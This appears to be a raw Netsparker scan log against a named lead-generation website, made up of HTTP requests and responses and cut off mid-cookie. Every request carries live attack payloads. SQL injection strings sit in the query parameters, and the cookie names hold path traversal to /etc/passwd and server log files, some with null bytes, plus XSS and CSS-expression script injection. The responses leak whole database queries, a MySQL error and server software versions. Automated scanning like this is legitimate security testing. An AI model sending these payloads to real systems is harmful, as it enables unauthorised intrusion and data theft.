Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:25:16 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=iar9h3u8k91u168q9242du67l4; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/lgds00/project.php

/ppc/leadflow/lgds00/project.php

http://www.insideup.com/ppc/leadflow/lgds00/project.php?catId=80005&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	80005
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/lgds00/project.php?catId=80005&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:25:39 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=pbbvsla13h2ld0e3sr9aj1u6d5; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/obtm00/project.php

/ppc/leadflow/obtm00/project.php

http://www.insideup.com/ppc/leadflow/obtm00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/obtm00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; 